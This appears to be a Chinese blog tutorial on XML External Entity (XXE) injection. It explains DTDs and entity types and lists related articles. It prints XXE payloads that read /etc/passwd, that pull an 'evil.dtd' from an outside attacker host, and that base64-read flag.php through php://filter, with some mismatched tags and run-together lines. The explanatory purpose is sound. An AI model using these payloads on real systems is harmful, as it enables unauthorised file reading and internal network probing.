XXE-什么是XXE

简单来说，XXE就是XML外部实体注入。
当允许引用外部实体时，通过构造恶意内容，
就可能导致任意文件读取、系统命令执行、
内网端口探测、攻击内网网站等危害。

XML
XML用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素

DTD

DTD（文档类型定义）的作用是定义 XML 文档的合法构建模块。
DTD 可以在 XML 文档内声明，也可以外部引用。
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量，可以内部声明或外部引用。

实体又分为一般实体和参数实体
1，一般实体的声明语法:
引用实体的方式：&实体名；
2，参数实体只能在DTD中使用，参数实体的声明格式：
引用实体的方式：%实体名；

基本利用

通常攻击者会将payload注入XML文件中，一旦文件被执行，
将会读取服务器上的本地文件，并对内网发起访问扫描内部网络端口。
换而言之，XXE是一种从本地到达各种服务的方法。
此外，在一定程度上这也可能帮助攻击者绕过防火墙规则过滤或身份验证检查。

构建外部实体注入

外部实体类型

方式一：直接通过DTD外部实体声明

<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<C>&b;</c>

方式二：通过DTD文档引入外部DTD文档，再引入外部实体声明

<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://mark4z5.com/evil.dtd">
<C>&b;</c>

方式三：通过DTD外部实体声明引入外部实体声明

引用攻击者服务器上的外部实体声明
<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY % d SYSTEM "http://mark4z5.com/evil.dtd">%d;
]>
<C>&b;</c>DTD文件内容:  <!ENTITY b SYSTEM "file:///etc/passwd">php://filter/read=convert.base64-encode/resource=../flag.php

XXE-什么是XXE相关推荐

php xxe注入,PHP XXE漏洞
PHP xml 外部实体注入漏洞(XXE) 1.环境 PHP 7.0.30 Libxml 2.8.0 Libxml2.9.0 以后 ,默认不解析外部实体,对于PHP版本不影响XXE的利用 2.原理介绍 ...
XXE漏洞以及XXE漏洞如何修复
XXE漏洞是什么 XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击.由于程序在解析输入的XML数据时, ...
什么是XXE漏洞，XXE漏洞的原理
因为最近做的靶机关于XXE漏洞,这里简单写一下什么是XXE漏洞,自己理解的东西,一来方便自己经常回顾,二来对还没有接触过XXE漏洞的朋友来说也比较友好 XXE漏洞全称XML ,即XML外部实体注入 ...
php xxe注入,php xxe 攻击
php entites: 预定义的:&<% 一般实体:,调用方式:在&general;,不能包含在属性中. 参数实体:,调用方式,立即使用:%param; 一般实体和参数实体都能 ...
微信支付xxe漏洞php,XXE 漏洞对微信支付有什么影响？
senparclsx 14 个回复 • 查看 176 次 • 52天前 magiboy 11 个回复 • 查看 288 次 • 91天前 yintingji 10 个回复 • 查看 96 次 • 5天 ...
浅谈XXE漏洞攻击与防御——本质上就是注入，盗取数据用
浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...
1016.XXE漏洞攻防学习
前言对于xxe漏洞的认识一直都不是很清楚,而在我为期不长的挖洞生涯中也没有遇到过,所以就想着总结一下,撰写此文以作为记录,加深自己对xxe漏洞的认识. xml基础知识要了解xxe漏洞,那么一定得先 ...
文件读取 xxe_漏洞笔记|记一次与XXE漏洞的爱恨纠缠
0x01背景: kaiputenku大佬最近在挖洞的时候偶遇一枚XXE漏洞,身经百战的他经过一番爱恨纠缠,终将她顺利拿下~ 0x02纠缠一番只为她-Blind OOB XXE: 在测试某系统的某查询功 ...
XXE漏洞利用技巧（XML注入）：从XML到远程代码执行
目录什么是XXE 基本利用 Blind OOB XXE 场景1 - 端口扫描场景2 - 通过DTD窃取文件场景3 - 远程代码执行场景4 - 钓鱼场景4 - HTTP 内网主机探测场景5 ...
XML相关的安全漏洞-XXE,XPATH小结（XXE注入、XPATH注入）
0x00前言: 本文主要小结以下php下的xpath查询xml结构的漏洞利用和XXE漏洞利用 xml是可扩展标记语言,它被设计出来是为了存储传输数据的. 它的结构是树形结构,并且标签要成对出现比如下面 ...

XXE-什么是XXE

XXE-什么是XXE相关推荐

最新文章

热门文章